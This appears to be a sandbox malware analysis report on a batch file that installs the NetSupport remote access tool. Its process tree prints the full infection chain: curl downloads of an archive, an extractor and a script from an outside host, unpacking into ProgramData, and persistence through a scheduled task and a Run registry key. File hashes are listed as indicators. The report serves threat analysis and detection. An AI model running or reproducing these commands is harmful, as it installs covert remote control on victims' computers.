Analysis

  • max time kernel
    140s
  • max time network
    146s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230703-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230703-enlocale:en-usos:windows10-2004-x64system
  • submitted
    18/07/2023, 14:07

General

  • Target
    tUUPQygorhzFkIcHuB.bat
  • Size 12KB
  • Sample230718-rfdckaba66
  • SHA256 6054f328f8d54d0a54f5e3b90cff020e139105eb5aa5a3be52c29dbea6289c30
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • NetSupport

    NetSupport is a remote access tool sold as a legitimate system administration software.

  • Downloads MZ/PE file
  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 6 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Delays execution with timeout.exe 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tUUPQygorhzFkIcHuB.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1548
    • C:\Windows\system32\cmd.exe
      cmd.exe /c C:\ProgramData\sett.bat"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3096
      • C:\Windows\system32\curl.exe
        curl -k "https://ponraj.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/lol.7z" -o "C:\ProgramData\lol.7z"
        3⤵
          PID:3376
      • C:\Windows\system32\cmd.exe
        cmd.exe /c C:\ProgramData\7z.bat"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:5040
        • C:\Windows\system32\curl.exe
          curl -k "https://ponraj.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/7zz.exe" -o "C:\ProgramData\7zz.exe"
          3⤵
            PID:3040
        • C:\Windows\system32\cmd.exe
          cmd.exe /c C:\ProgramData\2.bat"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4592
          • C:\Windows\system32\curl.exe
            curl -k "https://ponraj.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/2.bat" -o "C:\ProgramData\2.bat"
            3⤵
              PID:4620
          • C:\Windows\system32\cmd.exe
            cmd.exe /c C:\ProgramData\2.bat"
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:1892
            • C:\Windows\system32\xcopy.exe
              xcopy /h /y 7zz.exe C:\ProgramData\
              3⤵
                PID:544
              • C:\Windows\system32\xcopy.exe
                xcopy /h /y lol.7z C:\ProgramData\
                3⤵
                  PID:2068
                • C:\Windows\system32\cmd.exe
                  cmd /c C:\ProgramData\7zz.exe x -y C:\ProgramData\lol.7z -oC:\ProgramData\
                  3⤵
                  • Suspicious use of WriteProcessMemory
                  PID:2904
                  • C:\ProgramData\7zz.exe
                    C:\ProgramData\7zz.exe x -y C:\ProgramData\lol.7z -oC:\ProgramData\
                    4⤵
                    • Executes dropped EXE
                    PID:232
                • C:\Windows\system32\timeout.exe
                  TIMEOUT /T 3
                  3⤵
                  • Delays execution with timeout.exe
                  PID:4568
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /create /F /tn "KAVAQQQ" /tr "cmd.exe /c C:\ProgramData\client32.exe" /sc minute /mo 4 /sd 01/01/2022 /st 00:00
                  3⤵
                  • Creates scheduled task(s)
                  PID:1180
                • C:\Windows\system32\cmd.exe
                  cmd /c C:\ProgramData\client32.exe
                  3⤵
                  • Suspicious use of WriteProcessMemory
                  PID:3824
                  • C:\ProgramData\client32.exe
                    C:\ProgramData\client32.exe
                    4⤵
                    • Executes dropped EXE
                    • Loads dropped DLL
                    • Suspicious use of AdjustPrivilegeToken
                    • Suspicious use of FindShellTrayWindow
                    PID:416
                • C:\Windows\system32\reg.exe
                  reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
                  3⤵
                    PID:1956
                  • C:\Windows\system32\reg.exe
                    reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "KAVAS" /t REG_SZ /d "C:\ProgramData\client32.exe" /f
                    3⤵
                    • Adds Run key to start application
                    PID:2168

              Network

                    MITRE ATT&CK Enterprise v6

                    Replay Monitor

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                    Downloads

                    2.bat

                    • Path C:\ProgramData\2.bat
                    • Size 232B
                    • SHA256 5a8a48a2be136200954f5f81de68363d5dd8c82489dacae5d6b717b598634079
                    • MD5 SHA1 SHA512

                    2.bat

                    • Path C:\ProgramData\2.bat
                    • Size 787B
                    • SHA256 b474dc9562308d4419d93bc14e8e942290a44036cbcb9477e5abbb77992ce954
                    • MD5 SHA1 SHA512

                    7z.bat

                    • Path C:\ProgramData\7z.bat
                    • Size 239B
                    • SHA256 6f1624a63e0713b8c0f86a461e9ce955f0d7eef8d4d3cdacf0b79e3ae843f19c
                    • MD5 SHA1 SHA512

                    7zz.exe

                    • Path C:\ProgramData\7zz.exe
                    • Size 574KB
                    • SHA256 c136b1467d669a725478a6110ebaaab3cb88a3d389dfa688e06173c066b76fcf
                    • MD5 SHA1 SHA512 SSDEEP

                    7zz.exe

                    • Path C:\ProgramData\7zz.exe
                    • Size 574KB
                    • SHA256 c136b1467d669a725478a6110ebaaab3cb88a3d389dfa688e06173c066b76fcf
                    • MD5 SHA1 SHA512 SSDEEP

                    HTCTL32.DLL

                    • Path C:\ProgramData\HTCTL32.DLL
                    • Size 320KB
                    • SHA256 3c072532bf7674d0c5154d4d22a9d9c0173530c0d00f69911cdbc2552175d899
                    • MD5 SHA1 SHA512 SSDEEP

                    HTCTL32.DLL

                    • Path C:\ProgramData\HTCTL32.DLL
                    • Size 320KB
                    • SHA256 3c072532bf7674d0c5154d4d22a9d9c0173530c0d00f69911cdbc2552175d899
                    • MD5 SHA1 SHA512 SSDEEP

                    MSVCR100.dll

                    • Path C:\ProgramData\MSVCR100.dll
                    • Size 755KB
                    • SHA256 8793353461826fbd48f25ea8b835be204b758ce7510db2af631b28850355bd18
                    • MD5 SHA1 SHA512 SSDEEP

                    NSM.LIC

                    • Path C:\ProgramData\NSM.LIC
                    • Size 258B
                    • SHA256 f4e2f28169e0c88b2551b6f1d63f8ba513feb15beacc43a82f626b93d673f56d
                    • MD5 SHA1 SHA512

                    PCICHEK.DLL

                    • Path C:\ProgramData\PCICHEK.DLL
                    • Size 18KB
                    • SHA256 956b9fa960f913cce3137089c601f3c64cc24c54614b02bba62abb9610a985dd
                    • MD5 SHA1 SHA512 SSDEEP

                    PCICL32.DLL

                    • Path C:\ProgramData\PCICL32.DLL
                    • Size 3.6MB
                    • SHA256 38684adb2183bf320eb308a96cdbde8d1d56740166c3e2596161f42a40fa32d5
                    • MD5 SHA1 SHA512 SSDEEP

                    PCICL32.dll

                    • Path C:\ProgramData\PCICL32.dll
                    • Size 3.6MB
                    • SHA256 38684adb2183bf320eb308a96cdbde8d1d56740166c3e2596161f42a40fa32d5
                    • MD5 SHA1 SHA512 SSDEEP

                    client32.exe

                    • Path C:\ProgramData\client32.exe
                    • Size 99KB
                    • SHA256 213af995d4142854b81af3cf73dee7ffe9d8ad6e84fda6386029101dbf3df897
                    • MD5 SHA1 SHA512 SSDEEP

                    client32.exe

                    • Path C:\ProgramData\client32.exe
                    • Size 99KB
                    • SHA256 213af995d4142854b81af3cf73dee7ffe9d8ad6e84fda6386029101dbf3df897
                    • MD5 SHA1 SHA512 SSDEEP

                    client32.ini

                    • Path C:\ProgramData\client32.ini
                    • Size 713B
                    • SHA256 ae1399c7b00710cdd7c119bee4b42c107bfee79c399b27a497a19094150f53ad
                    • MD5 SHA1 SHA512

                    lol.7z

                    • Path C:\ProgramData\lol.7z
                    • Size 2.2MB
                    • SHA256 42679bd369a3b772c43b9ba20bf8a31a2593a360cfa2de77aa6d2023f9a0c109
                    • MD5 SHA1 SHA512 SSDEEP

                    msvcr100.dll

                    • Path C:\ProgramData\msvcr100.dll
                    • Size 755KB
                    • SHA256 8793353461826fbd48f25ea8b835be204b758ce7510db2af631b28850355bd18
                    • MD5 SHA1 SHA512 SSDEEP

                    msvcr100.dll

                    • Path C:\ProgramData\msvcr100.dll
                    • Size 755KB
                    • SHA256 8793353461826fbd48f25ea8b835be204b758ce7510db2af631b28850355bd18
                    • MD5 SHA1 SHA512 SSDEEP

                    pcicapi.dll

                    • Path C:\ProgramData\pcicapi.dll
                    • Size 32KB
                    • SHA256 2d6c6200508c0797e6542b195c999f3485c4ef76551aa3c65016587788ba1703
                    • MD5 SHA1 SHA512 SSDEEP

                    pcicapi.dll

                    • Path C:\ProgramData\pcicapi.dll
                    • Size 32KB
                    • SHA256 2d6c6200508c0797e6542b195c999f3485c4ef76551aa3c65016587788ba1703
                    • MD5 SHA1 SHA512 SSDEEP

                    pcichek.dll

                    • Path C:\ProgramData\pcichek.dll
                    • Size 18KB
                    • SHA256 956b9fa960f913cce3137089c601f3c64cc24c54614b02bba62abb9610a985dd
                    • MD5 SHA1 SHA512 SSDEEP

                    sett.bat

                    • Path C:\ProgramData\sett.bat
                    • Size 242B
                    • SHA256 4466dcf5c40ed4ed3a69d6f3d551f1dd959e9b17fb80b59099eb2236c5c1a39f
                    • MD5 SHA1 SHA512